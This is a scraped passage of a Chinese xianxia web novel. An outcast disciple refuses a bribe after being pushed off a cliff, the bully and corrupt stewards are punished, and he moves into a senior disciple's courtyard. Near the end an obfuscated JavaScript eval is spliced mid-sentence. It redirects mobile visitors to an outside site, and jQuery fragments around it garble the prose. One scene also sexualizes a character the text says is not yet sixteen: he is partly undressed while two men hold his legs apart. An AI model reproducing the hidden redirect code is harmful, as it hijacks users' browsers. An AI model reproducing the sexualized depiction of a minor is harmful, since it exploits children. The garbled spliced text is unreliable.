像赵韩这般家境尚可的凡间子弟能为管事带来切实利益,比起一无所有的草根凡人,管事们自然更喜欢前者。 管事们也比谁都清楚,所谓晋升内门的机会看似公平公正,不过是悬在外门弟子面前的胡萝卜,给出一个盼头,让他们更加任劳任怨付出罢了。 哪怕成绩再好,也看资质根骨;若资质根骨优异,无需参加考试,长老也会直接收入门下。 赵韩出手阔绰,常年疏通打点关系,王管事与周管事收了不少好处,自然想保住他,而且他还得了赵丹的眼……赵丹可是丹鼎宗首席弟子,丹鼎宗可是丹术大宗,同样得罪不得。 如此想来,只能牺牲桑灵了。 王管事慢悠悠开口:“都到齐了是吧?我等已了解事情经过,想来也不过是同门间的打打闹闹,一时失手罢了。” “马上便是群英萃,届时各大宗门云集,我们碧海云天作为东道主,总不好在这时候闹出丑闻,让其他宗门看了笑话。” 周管事语气更加严厉:“听赵韩说,他当时并非有意推你,而是因蛇受惊躲开,不慎碰到了你。你既然无恙归来,便是万幸。” “都是碧海云天的弟子,应该明白以和为贵的道理。赵韩,还不速速道歉?” 赵韩立刻朝桑灵躬身拱手:“桑灵师弟,真是对不住!我也是被蛇吓到了,谁知道你正好站在悬崖边上,绝非有意为之!我跟你赔罪,行吗?” “你我同门一场,何必因我犯下的小错就赶尽杀绝呢?” 桑灵冷声质问:“小错?” 明明他才是受害者,却被反过来指责他赶尽杀绝,仿佛若是他不接受道歉,便是不顾同门情谊、斤斤计较的恶人。 天下哪有这样的道理? 今日这事儿闹到戒律堂,但好在风清云没出大事,桑灵也没死,那便好办。 道歉当然要拿出点真心诚意,总不能口头说两声。 周管事最明白这种草根凡人想要什么:“我知道你受了委屈,但你放心,宗门不会亏待你。你的理论成绩向来优异,吃亏在根骨资质。我今日便做主了,破格提拔你进入内门做个杂役,如何?” 围观弟子们满面哗然。 杂役也分三六九等,内门杂役月例极高,又受人尊敬,甚至能旁听内门弟子的日常讲学,结交宗门天骄。 即便灵根驳杂,但长时间待在灵气更加充沛的内门,接受更好的功法教育,未来便有无限可能。 只是一个可能,足够叫所有修士疯狂。 所有人都以为,桑灵定会狂喜叩谢,收下这份补偿息事宁人,像过往任何一个弟子一样。 桑灵缓缓抬眸看向高台,管事身着锦袍端坐上位,而身边满堂弟子皆身穿宗门服饰,面料或精细或粗糙。 头顶是一片无垠苍穹,水天一色,他们站在同一片土地上,身上雪色却各有不同。 这时,桑灵听到暗中传音,声线低沉饱满警告:“你是个聪明的孩子,知道该如何抉择。你进入碧海云天多年、成绩优异,总不能甘心做一个低等杂役。” “这是你唯一能改变命运的机会。” 命运吗? 他早已看到他的命运,话本中无人在意的炮灰,只为天之骄子的情爱添砖加瓦,无人在意他的死活。 人人都可以践踏他、欺辱他,事后随手丢点蝇头小利,他便应当感恩戴德。 天之骄子的尊严可贵,普通人的尊严可笑如泥。 如果这就是他的命运。 如果这就是他的命运…… “我不接受。” 满座皆惊,诧异望向那道瘦弱身影。 桑灵身形清瘦,立于堂中却脊背笔直。 天穹云层错落晃动,令他们看不清容颜,只能清晰听见那掷地有声的拒绝,荡开惊涛骇浪。 “你说什么?!” 王管事猛地拍案而起,茶水飞溅打湿桌面。 他从未见过如此不知好歹之人,震怒沉声警告,“凡事三思而后行,你可想清楚,你来碧海云天日夜苦修究竟所求为何!” 来碧海云天之人,无一不是为了修仙。 天下修士千千万,追名逐利,求仙求神,求真理求长生。 天道不公,他偏要求一份公平。 迎着满堂审视与威压,桑灵坦荡无畏直视高位:“赵韩将我推下悬崖,戕害同门。在此之前,他屡次逼我替他承担分外杂役,肆意欺压同门弟子。” “我不求补偿,只求管事按照宗规公正处置。” “请按宗门律例处罚赵韩,以正门风。” 戒律堂内外一片骚动。 先前所有看热闹的目光尽数化作钦佩动容,再无半分轻视。 这些年周王二位管事徇私舞弊、收受贿赂,家境优越的弟子可以用财物行方便,寒门弟子只能做最累最苦的活儿,即便月例被吞、遭遇不公,也只能硬生生吃下哑巴亏。 无人敢反抗,无人敢直言。 无数受冤屈的寒门弟子,最终都被一点蝇头小利打发,为求仙途前程被迫忍下不公,妥协低头。 可桑灵却说,他不接受! “他居然拒绝了,那可是内门杂役的位置啊!若是我,怕是早就感恩戴德道谢了。” “他真的不怕得罪管事吗?管事睚眦必报,这些年来,他是第一个敢说不的人。” 有人忍不住轻轻说:“此等有气节之人,倒是少见。” 堂中瞬间安静。 这世上并无那么多天骄,寒门才是大多数,许多受过欺压的弟子交换目光,再次看向那道瘦弱身影,心中生出一致的敬意。 雪碧尘目光沉沉落向前方。 议事堂灯火煌煌,映得少年身形愈发清瘦单薄。面对管事释放威压,他脊背仍挺得笔直,本心依旧,不弯折不摇摆不动摇。 不为贫贱所移,不为权势所屈,不为利益所惑。桑灵所求不过一“理”字,他只想要一个公平公正的交代。 这般纯粹可贵之人,雪碧尘已经很久没有见过了。 “此事有关同门性命,为何迟迟未有定论?” 雪碧尘缓步走向堂内,围观弟子纷纷让开一条道路。他一袭雪色锦袍,玉冠束发,面容与语气般温和沉稳,却让人不敢轻视分毫。 万万想不到竟会惊动雪碧尘,周管事忙躬身解释:“证据尚且不足,真相不曾查明,故不敢轻易定夺……” “证据?”雪碧尘从袖中取出一物,“弟子玉牌有记录影像之能,方才清云已将他的弟子玉转交与我。” 他淡淡看向赵韩,“事到如今,你还有什么话要说?” 桑灵盯着那块玉牌,神色迷惘。赵韩脸色惨白,扑腾一声跪下:“我、我那是无心之失!绝不是有意戕害同门,我只是……我只是手抖了一下!” “手抖?无心之失?”雪碧尘质问道,“你在外门多次强迫桑灵替你承担杂役,是无心之失?行贿管事知情不报,也是无心之失?” 雪碧尘语气仍然温和,帮管事们下了决断:“两位管事徇私包庇,渎职不公,依规受鞭刑十五,罚去俸禄,闭门思过一年。” 王管事与周管事脸色也极其难看,鞭刑十鞭得废去他们大半修为,一年闭门思过更是彻底断送日后晋升之路! 嘴唇猛地哆嗦,却不敢反驳,只能咬牙俯首领罚。 “赵韩欺压同门,行贿渎职,蓄意戕害同门,知情不报……数罪并罚。” “按碧海云天宗规,废去修为,逐出宗门,永世不得录用。” “不!我不要废去修为!不要将我逐出宗门!!” 赵韩瞳孔骤缩,拼命磕头求饶,废去修为与废人无异,彻底断送他一生仙途! 他拼命磕头求饶,额头撞在冰冷的地面发出沉闷声响,他转而朝向桑灵,连滚带爬扑回去,涕泗横流地哀求:“桑灵师弟我错了!我不该逼你帮我干活,更不该平日里欺侮你!我错了,我真的知道错了!” “你帮我求求情!帮我求求情啊!” 就在赵韩即将抓到桑灵脚踝时,雪碧尘立刻挡在他的身前,道:“行刑。” 两位戒律堂执事一左一右架起赵韩,一人手持通体漆黑的戒魂骨鞭,鞭身流转微光灵纹。赵韩如今是练气大圆满,需足足受够二十鞭,方能废去修为。 而戒魂骨鞭鞭鞭向灵魂,每一下都叫人痛不欲生。 第一鞭落下,赵韩当即发出凄厉惨叫,如被抽走脊骨般软在地面,随着鞭子落下,他的丹田遭遇重创,多年苦修的灵力如洪流泄出,在周身化作点点流光,消失不见。 直到第十鞭,他已彻底感受不到体内灵气。然而刑罚尚未结束,他如空壳般瘫软在地,只能从喉间发出漏风般的哀鸣。 最终,彻底昏死过去。 紧跟着是两位管事,他们被押在堂前堂中行刑。周王二位管事如今金丹,受到鞭刑却仍禁不住发出惨叫。 许多寒门弟子看着这两道身影受鞭惨叫,心中涌起酣畅淋漓的快意。 戒律堂鲜血漫地,桑灵往后退了半步,胃里泛起一阵恶心。 “吓到了?” 大掌蒙在他眼前遮挡画面,见他眉宇紧皱以为是心生不忍,雪碧尘如同哄着受惊的孩子轻声开口,“你不必可怜他们,他们罪有应得。” 这下轮到桑灵意外,雪碧尘竟觉得他在可怜他们?他还没愚善到这种程度。 他只是觉得血肉翻飞的画面十分恶心,与心生诧异。 原来修真界的惩戒也如凡间一般鲜血淋漓,原来金丹修士也是血肉之躯。 不论修真界还是金丹修士,都并非像他想象得那般高高在上, 遥不可及。 “好了,没事了。我们走吧。”桑灵脸色惨白,雪碧尘便默认了他是害怕,“你年纪还小,莫要看这些,看多了容易做噩梦。“ 身后充斥着血腥与哀嚎,雪碧尘声线温柔和缓,眉眼温润低头朝他笑了笑。 桑灵心底骤然升起毛骨悚然的寒意。 他这才想起一件事。 风清云是内门弟子,自有弟子玉牌,但风清云的玉牌早已遗失在秘境之中,怎可能这时完好无损地出现在雪碧尘手中? 跟在雪碧尘身边,桑灵紧张到浑身僵硬,他身上仍是秘境中的绯色春衫,袖袍宽松遮住规矩交握在身前的双手。 【我的宝,他在看你的发带。】 发带? 他的发带是风清云的,桑灵连忙取下:“仙长,劳烦您帮我将发带转交……” 雪碧尘停步垂眼看了过来。 红色发带在细白手指间垂落,红白相间。他没有接过:“你可知这发带有何特殊意义?” 桑灵迷茫摇头。 原来都是表弟的一厢情愿,雪碧尘恍然轻笑:“他该告诉你的。” “这不是我能碰的东西。”他声音仍然温温和和,“若你执意还他,等他伤势痊愈亲手交还便是。” 桑灵问:“他伤得重吗?” “只是灵力使用过度,修养调息几天便好。”雪碧尘温声安抚,“你放心,他并无大碍。” 其实桑灵没有担心,他欲言又止,最终还是一言不发。 雪碧尘素来温润宽和,平日潜心修行,很少插手宗门事务,今日在戒律堂杀伐果断的一幕,转瞬传遍碧海云天内外。 赵韩被废修为,抹去碧海云天宗弟子籍。被逐出门外、特别是被碧海云天这般大宗逐出的弟子,不会有宗门愿意收留,等同彻底断送仙途。 周、王管事纵容门下弟子欺压同门,包庇行凶,受贿以权谋私…… 他们被革去职位,受鞭刑后闭门思过一年。 二人被拖走时,修为被废去大半,连惨叫都发不出了。 风清云又称桑灵在秘境中舍身相救,戒律堂裁定他救人有功,特许带薪休沐七日,赏灵石若干。 难得休沐,桑灵将小院收拾得干干净净,每天照常看书学习、画符、种菜。 至于风清云的承诺,他并未放在心上,从小到大他都是容易被人遗忘的存在,如同透明人。 桑灵早就习惯了一个人。 【我的宝你太牛了!你居然真拿到了《纳元诀》!!】 【可惜你如今修为尚浅,根基未稳,暂时无法完全驾驭传承,要是有个大佬师尊能帮你打下基础、顺通识海,就再好不过了!】 灵犀草叽叽喳喳。 桑灵并未察觉身体太多变化,想来是修为低微,传承又太过匆忙,目前无法催动功法的真正威力。 可他他唇角还是翘起一点儿,缓缓抬起右手。 一簇拇指大小的火焰在指尖中燃起,照亮他的素白小脸。 这是他的伴生火种。 火种是炼丹的根本,分为内火与外火。 凡有火灵根者,筑基后才能自丹田催生伴生之火,此为内火,随修为而增长,与丹师心意相通。 无火灵根者则需购买外火,此类火种通常为地脉中天然孕育。外火亦可纳入丹田喂养内火,但外火毕竟是体外之火,若强行融合,轻则火性相冲,重则反噬丹田。 除非修为深厚、控火之术登峰造极者,不敢轻易尝试。 能催生伴生火种,意味着桑灵不必购买昂贵火种,便能尝试炼丹。 耳珰中有许多药方、灵草种子,唯一缺的便是丹鼎。 可他连最低档的药鼎都买不起。 【我还以为你得到逆天传承后要一路开挂,灵傲天附体,结果你还想着符箓炼丹??】仙草哀嚎却也能理解,【也罢,你如今修为低微,安稳发育才是正道。】 【怎么有个神像?】 桑灵打了一桶井水,打理洗发换衣裳时,袖口滑出一枚掌心大小的小像,咕噜噜滚到井边。 “祂救过我,我要为祂重新塑像。” 桑灵将小像妥善收好,大门突然被叩响。 来人像一刻也不能忍耐,桑灵尚未走至门口,便见有人翻过墙头稳稳跃进院内! 桑灵呆呆愣愣地看着从天而降的风清云。 面色带着久病初愈的苍白,风清云快步上前观察小院简陋环境,皱了皱眉,转身先将院门从内打开:“这是我表兄。” 小院之外,雪碧尘身姿清雅端方,对桑灵微微一笑。 桑灵手里还攥着半湿的帕子,茫然道:“你们怎么过来了?” “我说过要来找你。”风清云从储物袋中取出一叠新衣,“你先换上,再坐下细说。” 那是一身碧海云天内门式的雪色外袍,料子为顶级华贵的云纹绸缎,内里衬着收腰的天水蓝锦缎。 桑灵换好衣裳走出来时,整个人似笼罩在一片云雾般的柔和色调中,天水蓝腰封掐得腰身伶仃一点儿,墨发半湿地披散在肩头,发梢凝出细小水珠,在雪色外袍上洇开深色水痕。 小院内二人同时盯住他。 桑灵被一左一右看得不自在,垂下脑袋小步挪至风清云跟前,将攥着红发带还去:“你的。” 风清云这才回神起身,伸手将桑灵散落的湿发拢到脑后,灵光在指尖闪过,半湿发丝瞬间干透。 他接过发带将桑灵的长发竖好,红带缠黑发,映得皮肤莹白干净。 “我想同你商量一件事。” 风清云牵住桑灵的手腕,一同坐在石凳,“我表兄是掌门门下的首席弟子,以后你跟着我表兄,可好?” 【嫂嫂开门,我是我哥。??】 桑灵仰着小脸呆滞看向风清云。 风清云侧过身,桑灵看到雪碧尘就站在不远处,对他露出浅浅笑意:“你愿意随我来梨院么?” 11.梨院 “虽是书童身份,但我表兄品性宽厚,绝不会亏待你,待我晋级金丹有了自己的洞府,便将你接回来。” 风清云认真说,“他平日里跟你一样喜欢种花种草,西苑那片灵田便是他的。你们一定合得来。” 雪碧尘二十五岁结丹,如今二十七,已是金丹中期,年纪轻轻如此成就,是当之无愧的修炼天才。众人都知他辅修丹术,家族更是以贩卖丹药、灵植闻名。 碧海云天以灵剑立宗,他的洞府里却有专门的丹房药鼎。 桑灵现在正缺药鼎。 小院只有两个石凳,风清云只爱幼不尊老,任由亲表兄站立一旁。 桑灵不动声色侧首,正好看见雪碧尘独自站在院门边,接收到他的视线,对他回报温和一笑。 若能进入梨院,那他是否有机会借用药鼎? 在桑灵点头的刹那,风清云那张素来冷傲的面庞,浮现淡淡笑意。 “你在秘境中被蛇咬伤,我担心余毒未曾肃清,便唤来表兄助你逼出此毒。” 刚换上的新衣被褪得了一半。 天水蓝的锦缎外袍堆叠在石桌边缘。 先前吸食毒血是不得已而为之,那时桑灵慌乱无措,当下却意识清醒,在两个男子面前,亲手将里裤一寸一寸卷到腿根,露出底下细嫩雪白的肌肤。 他颤颤巍巍站在二人中央,墨发散在身前,实在羞耻难言,双膝紧紧并拢根本无法打开。 “放轻松点。”雪碧尘温声安抚,但桑灵实在不配合,他只能道,“清云,抱紧他。” 风清云即刻会意,听从表兄命令,长臂一揽,直接将桑灵抱坐在腿上。 大掌握住膝盖,朝两侧微分,完整露出被蛇咬出的两处小洞。 桑灵被强行禁锢在怀里,风清云的手臂胸膛宽阔,却仍透着少年青涩。然而身前却是一个成年男性的躯体,即使气质温润、屈膝跪在地面,仍如庞然大物般将他全然笼罩。 一前一后两个身影将他困在其中,进退不得,动弹不能。 桑灵干脆闭上眼,任由眼尾晕出羞耻的湿红。 莹白丰盈的腿肉颤颤,蛇洞却淤肿一片,呈现骇人的青痕,触目惊心。 幸好风清云带来了雪碧尘,否则余毒仍存,后果不堪设想。 手指刚搭在桑灵的脚踝,雪碧尘便察觉到上方投来一道不善注视。 抬头,对上那双明显戒备的丹凤眼,他只觉好笑,不久前风清云还一口一口“表兄”求他帮忙,现在又摆出护食的姿态? 他这表弟,平日里一副目下无尘的高傲做派,竟也有这般沉不住气的时候。 无视那充满雄性较量的目光,雪碧尘轻轻握住桑灵的脚踝。 正要催动灵力,一阵浓烈玉兰软香,自桑灵衣襟柔柔散出,令他不自觉收紧五指。 “呜——” 许是被抓疼了,桑灵不受控制抬起右腿,踩在雪碧尘的肩膀,若不是风清云握着他的腰,恐怕他整个人都要从风清云的怀里滑落下去。 他下意识低头,看到自己赤-裸的足正踩在雪碧尘的雪色肩袍上,那张温润面庞就在近处,仿佛一偏首就会挨上。 桑灵想将脚收回来,可腰间大掌忽然用力,似不满被忽视,将他往上提了提,他被迫抬起头,看到一张与雪碧尘有六七分相似,却更加年轻冷峻的面庞。 这感觉实在太过怪异,仓皇之下侧首,桑灵恰好望见桌上的一面铜镜。 铜镜完整照出此刻画面,他竟被这对表兄弟一前一后夹在中间,墨发散落、颊肉薄红,眼睛湿漉漉的……根本无法逃脱。 雪碧尘为单水灵根,精纯水灵力性凉,桑灵体内的蛇血却是热毒。源源不断的凉意涌入身躯,将热毒一点点逼出,留下过电般的酥麻酸胀感。 想要并拢双腿,然而双膝、脚踝分别被两个男子掌控。桑灵身体不受控制发抖,眼尾洇出豆大的泪珠,一颗接着一颗。 桑灵迫切寻找一个支撑,忍不住偏过身搂住风清云的脖子,单薄肩膀颤颤。 风清云最受不得桑灵的眼泪。 “表兄,”他为桑灵擦拭泪水,不忍道,“还要多久?” “才刚刚开始。”见桑灵一脸天塌了的崩溃样,雪碧尘放柔声音安抚,“再忍忍,很快就好。” 一刻钟后,毒血才彻底逼出。 秘境一日外界三天,蛇毒虽未深入肺腑,却也盘踞了相当长的时间,与经脉纠缠在一起。 雪碧尘仔细搜刮残余毒血,以灵力逼出。 这需要极其细微的掌控力,是以风清云不敢自己行动,找来结丹已久的他。 长时间凝神贯注,饶是雪碧尘修为深厚,下颌也淌出细密汗珠。 毒血清除后淤青已散,除创口泛红已无大碍。 他示意风清云取帕子帮桑灵擦一下。 无奈风清云并不是心细之人。雪碧尘从袖中取出锦帕,本想帮忙,最终还是递给桑灵:“自己擦一下吧。” 桑灵整个人还懵懵的,嫣红嘴唇合不上似的、微微分开,涣散目光好半晌才稍稍聚拢。 他接过帕子,小心翼翼帮雪碧尘擦拭下颌的汗珠,带着鼻音道谢:“谢谢仙长……” 周边气压骤低。 风清云脸色极其难看,眼睁睁目睹桑灵帮他表兄擦汗。 方才还搂着他脖颈的手,此刻正温柔抚摸另一个男人的面庞。 雪碧尘感到那道充满敌意的目光,并未回避,看着桑灵的眼底带着若有若无的笑意。 精纯灵力在桑 灵体内走了一遍,虽清完蛇毒,也让这具初入练气的身体承受不住。 没多久,桑灵便昏昏沉沉睡去。 雪碧尘伸手搀起桑灵,风清云抢先一步将桑灵抱在怀里。 梨院位于内门核心区域,内置两条中品灵脉、一条上品灵脉,是以洞府内灵力醇厚浓郁,院内白色梨花如雪飘香,阁内可观水赏景,是绝佳的修炼圣地。 风清云只是筑基,并未有自己的洞府,他自然不能委屈了桑灵。 梨院环境优美适宜,主人是他亲表兄,他信得过。 将桑灵送入耳房,风清云掖好被子,桑灵面庞雪白、额心一抹朱红,墨发系着他的红色发带。 扯下发带,乌发披了满身,他将红色发带轻轻缠在桑灵的腕间。 耳房不大,胜在雅致,屋内被褥、青瓷灯、香薰都是新换的,窗边摆着一张书案,上有提前备好的符纸、墨水、书籍。 窗外有一颗老梨树,日后桑灵可以边看书边赏景。 隔壁便是雪碧尘所居的正房,两房仅有一墙之隔,若桑灵出了什么意外,雪碧尘能第一时间察觉。 退出耳房,风清云突然开口:“表兄,我将我的发带给了他。你要好好待他。” 雪碧尘正站在廊下,见表弟眉眼肃穆认真,突然明白此言之下更深的一层含义,他笑了笑:“认真的?” “认真的。” “不后悔?” “不后悔。” 雪碧尘了然:“既你认定了他,他便也是我的家人,我自然会好好待他。” 风清云端详片刻,见表兄神色坦荡并无异常,悬着的心彻底落地:“多谢表兄帮忙照拂。听闻表兄近日在炼淬体丹,若有二级兽丹作为辅料,可大幅度提升成丹率,我这便去为表兄猎来。” 他的身影消失在漫天梨花之中。 直至对方远去,雪碧尘才失笑不已。 到底年轻气盛藏不住心事,他这表弟一向傲慢不屑遮掩情绪,方才那戒备警惕的眼神,与为了争夺配偶即将爆发激烈斗争的雄性没有区别。 耳房窗牖半掩,微风卷着梨花悠悠飘进室内,轻落在桑灵的发丝间,与露在被外的细腕上。 清瘦素腕被红色发带圈圈缠绕,白梨花点缀,红白相映,腕骨伶仃。 少年安静地睡着。 雪碧尘淡淡收回目光。 他潜心求道,美色情爱于他不过过眼云烟。 他不过是瞧着桑灵身世孤苦、坚韧清正,加上表弟苦苦相求,才答应暂将桑灵带回洞府,除此之外,别无他意。 至于风清云担心的那些事,更是可笑至极。他怎么可能与表弟抢心上人? 雪碧尘对别人的妻子不感兴趣,何况还是与他一样的男子。 12.圣父 不知不觉,桑灵已在梨院半月有余。 桑灵始终想不明白,雪碧尘为何收留自己,但内门灵气充裕,远非外门可比,连呼吸都是享受。 在雪碧尘身边意味着离主角更近,可若能靠关键人物获得更多资源,他是不是能早日攒够资本,离开碧海云天? 雪碧尘的戏份集中在兄弟争妻,如今“妻”尚未现身,他小心一点,应该不会被卷入剧情吧? 梨院素来冷清,少有人登门拜访。 雪碧尘自律严苛,一闭关便是三五日,半月来,桑灵也就见着两三次,虽顶着书童身份,实则无事可做,人轻松了,月例反而涨了十倍,沉甸甸压在荷包里,让他愈发不安。 桑灵总想寻些事做,证明自己并非白吃白住的闲人。 正午,桑灵将各类灵草种子分门别类,耳珰内的药方多数是上古绝世药剂药方,所需药材珍惜罕见,炼制手法格外复杂,以他目前修为根本无法炼制。 好在其中也有数张寻常药方,难度适中药材常见,成本不高,正适合当下的他入门修炼。 中品培元丹、金刚丹分别能在短期内大幅度提升修为、防御效果,是拍卖场畅销的热门货,临近群英萃更是供不应求。 桑灵将方子逐一看过,目光最终定格筑基丹上。 世间多少修士引气入体后,便终生止步炼气期,至死无法突破筑基,即便临近突破,也是九死一生,一步踏错便身死道消。 是以各大世家、宗门会为弟子设阵护法,丹药辅助。 筑基丹可以帮助修士稳固灵力,突破筑基期,与符箓一样,级别越高杂质越少,效果越强。 上品丹药可以发挥七八成药效,资质绝顶筑基丹几乎没有杂质残留,能百分百发挥丹药本源药效,没有走火入魔的反噬风险与副作用,没有炼气修士能够拒绝。 筑基丹材料品阶不高,但算不上便宜,直接购买成株灵草,荷包怕是吃不住。 可若购买种子自己种植,价格便划算许多。 梨院月例高,桑灵又存了些钱,荷包鼓鼓囊囊的,他买了些种子与灵土,取出那枚红玉耳珰,注入灵力,眼前出现一方空间。 将灵土翻松,再滑出几道浅浅的垄沟,将种子一一埋进土里。 耳珰空间自带灵力,桑灵仍不放心,试着催动体内灵力,引出指尖。 寻常人把握不好这个分寸,灵力太强边会灼烧种子,但他控灵毫不费力,灵力在他手中格外温顺,丝丝缕缕渗入灵土间。 他忙得满头大汗,种子总算冒出了点米粒大的嫩芽。 退出耳珰的瞬间,桑灵伏趴在桌面喘息不止,识海剧痛酸胀。 他修为到底太浅,动用神识片刻便头晕目眩,若非得了殷氏老祖传承,他怕是半个时辰都撑不住。 休息片刻,桑灵在外溜达,看到雪碧尘正从丹房走出。 几缕墨发从玉冠间松散下来,那身雪色锦袍衣摆蹭了药渣,雪碧尘眉目沉思投入,将身上那件沾了药渍的外袍脱下,随手搭在廊下的木架,转身回了丹房。 桑灵正好要用清洗符洗衣,他便一起帮雪碧尘洗了,放到原位。 回到房中,他铺开符纸,近日他学会了好几道新符,分别是催灵符、避尘符、轻身符。 当下他最想学的,是聚灵符。 聚灵符比催灵符效果更好,能将数丈灵气汇聚一处,形成一个小型灵涡,若用在灵田,灵草生长速度能提升数倍。 但聚灵符笔画交错复杂,比之前学过的所有符咒都难上一大截。 他翻开课本,却又遇到了新问题——他不识字。 桑灵从前靠自学磕磕绊绊认了不少字,但内门许多书籍文字与外门、凡间不同,字体、笔画顺序、结构都有差异,像更加复杂古老的古体字。 桑灵只能暂时放弃画符,从认字练字开始学起。 他坐在书案前,对着那符箓图谱上的注解一字字辨认,怎么都读不通顺,他咬住笔杆,秀气眉毛拧成一团,好不沮丧。 桑灵又打起精神,他越写越认真,直到腰背酸痛,手臂往后舒展伸懒腰。 啪的一声,手心打到一个结实温热的身体。 他猛地回头,雪碧尘不知何时出现在身后,正低头看他写的字。 桑灵被吓得差点从椅子上跳起来,忙起身道:“仙长,我没注意到您——” “唤我师兄便可。”雪碧尘温和道。 内外门弟子皆可互成师兄师弟,但许多内门弟子自恃高等一人,不允许外门弟子如此称呼自己。 桑灵曾亲眼看到外门弟子因称呼被当众羞辱,那之后,他见了内门弟子一律唤“仙长”。 嘴唇微微一动,却喊不出口。 雪碧尘没纠结称呼,指尖轻轻摁在字纸一角:“写错了。” 像被师者呵斥,桑灵脸上顿时浮现血色,手指绞在身前,窘迫埋低小脸。 雪碧尘走近一步:“师兄教你。” 寻常人画符都不舍得的中品符纸,被他用来堆在桌案,专供桑灵练字。 雪碧尘侧身落座,将桑灵半圈在身前,宽大手掌覆在他的手背,帮他调整握笔姿势。骨骼分明的大掌,能将那只瘦小的手完全掌控。 不仅手,身形也是。一人高大清挺,一人单薄瘦小。 桑灵下意识挺直脊背,他能清晰感觉到雪碧尘就在身后。看起来样养尊处优的手,握着他时,掌心、指腹有被剑长年累月磨出来的薄茧。 “我写一遍。” “此处结构是这样的。” “看清楚了吗?师兄再带你写别的字。” 雪碧尘教学仔细,从最基础笔画到结构一一拆解。 桑灵全程乖乖坐在他怀里认真学习,偶尔拧眉思考,仿若遇到天大的难题,那表情真是可怜又可爱。 偶尔桑灵也会提出疑惑,雪碧尘便耐心解答,桑灵恍然大悟,继续蜷在他怀里看他写字,全然依赖他信任他的的纯稚模样,仿佛离了他什么都做不了。 雪碧尘胸腔弥漫开愉悦的满足感。 桑灵的手被带动着,符纸一笔一划,端正工整地出现了二字——桑灵。 名字逐渐成型,桑灵睁大了眼睛,他第一次知道他的名字古体是这般,又是第一次被人握着手、一笔一划教着写。 “可会了?”见桑灵点头,雪碧尘松手鼓励道,“那便试试。” 桑灵接过笔,认真书写。 他在写字,雪碧尘便给他磨墨,光斑星点透过枝杈错落在他的面庞,有些朦胧不清。额心那抹红却无比惹眼,素腕缠着红色发带。 桑灵竟还带着。 难道风清云没告诉他,这是何物么? 还是说,他知道这是何物,仍愿意收下。 不仅收下,还要日日夜夜缠在手腕,表明心意。 雪碧尘无意干涉他们之间的情爱,只是心中不免有些微词,风清云既认定桑灵,便该负起责任,而不是将人丢在梨院不管不顾。 风清云因违反门规进入后山受到惩罚,又被师尊天璇长老严加训练,风清云无暇抽身,东西却源源不断地送,库房险些堆不下。 那又如何? 人不在,没有陪伴,送再多东西又有何用? 在雪碧尘看来,桑灵每日独守空房,时常静坐窗前发呆失神,孤零零的模样实在可怜。 身形单薄伶仃一点儿,风清云怎么忍心放着不管? 桑灵仍在认真执笔写字,无法如墨贴在雪白鬓边,皮肤干净得近乎透明,额前细碎毛茸茸的碎发,添了几分稚气。 雪碧尘原以为他不过十三四岁,是未长开的垂髫少年,翻看宗门存档才知晓,他竟快十六岁。 修真十六岁弟子身形初定,桑灵骨架仍不曾长开,纤细孱弱,想来吃了不少苦。 雪碧尘庆幸风清云尚未结丹、没有洞府,就他表弟那性子,怎么可能养得好桑灵? 短短半月,桑灵清瘦颊肉被养出一点温润肉感,气色通透粉白,雪碧尘瞧着甚至欣慰。 “师兄,我写好了!” 桑灵侧身抬起红润小脸,兴奋地抓过雪碧尘的袖子。 雪碧尘心中难免怜爱,看向案上字迹,神情凝重:“这是你刚刚写的?” 桑灵紧张:“是我写得不好吗?” “我还以为是临帖呢。灵儿写得真好,很棒。”雪碧尘轻轻抚了抚桑灵的发顶,“乖孩子。” 桑灵被夸得面颊微微发热,腼腆垂着眼,羞怯又欢喜。 “我挂在架上的外袍,是你洗的吗?” “嗯?嗯。”他用的清洗符,也算是他洗的吧? “难怪。”雪碧尘恍然。 难怪他再次穿上后,衣襟间总笼着淡淡玉兰花味。 原是染上桑灵身上的香气了。 自这日后,雪碧尘总会带桑灵练字,教桑灵辨认古字。 有人领进门,桑灵进步一日千里,每天除了睡觉便是习字画符。 雪碧尘也是这时注意到,桑灵几乎不碰膳堂送来的灵食。 晚间,练字正在兴起,雪碧尘取走桑灵手中的笔,将桑灵抱了起来,朝厅堂走去:“好了,今日到此为止。” “该用晚膳了,看看厨房今日送了些什么来。” 桑灵挣扎了一下想自己走,雪碧尘却像没感觉到一般,直到厅堂也不曾将他放下。 雪碧尘知晓桑灵极少碰荤腥,肠胃敏感,寻常灵食妖兽荤味过重反而会让他反胃不适,特意吩咐灵厨改善膳食做法。 又担心桑灵不好好吃饭,非要按腿上盯着。 “我让灵厨做了盏碧云雪莲羹,许多世家小孩儿都爱吃。”雪碧尘揭开玉盖,一股清甜莲子香弥漫,“你年岁小,想来也会喜欢。” 桌面琳琅满目,玉髓灵笋糕切成方方正正的晶莹小块,碧云雪莲羹入了玉色琉璃碗,还有芙蓉灵鱼被切成薄如蝉翼的薄片…… 桑灵只潦草碰了快糕点,便放下了玉箸。 雪碧尘:“可是不合胃口?” 一旁弟子忙道:“大师兄,这玉髓灵笋糕是今早新采摘的灵笋,还有那还有这碧云雪莲羹,以湖心百年灵莲子炖煮,入口即化,还能调和经脉呢!” 桑灵抿了抿唇,多吃了两口鱼肉,便又停了。 梨院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689473|207270||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 生活太过舒适,他却总有一种寄人篱下的不现实感。他知道他迟早会离开,也必须离开。 那弟子又殷勤道:“要不试试这道雪莲羹?清甜可口,回甘无穷!” “师兄吃。”桑灵将那只琉璃碗往雪碧尘的方向推。 雪碧尘端过这碗雪莲羹,玉勺舀了一块送入口中,眉宇皱起:“莫不是坏了?怎么发苦?” 桑灵很少见他这么严肃:“发苦?” “你试试。”雪碧尘舀了一勺,送到桑灵唇边。 桑灵下意识伸出一截舌尖轻轻碰了碰,甜的,跟猫儿似的,他眼睛明显亮起,面庞浮现稚子的孩子气,是吃到美味佳肴的欣喜。 察觉到被骗了,他面庞腾的一下红透。 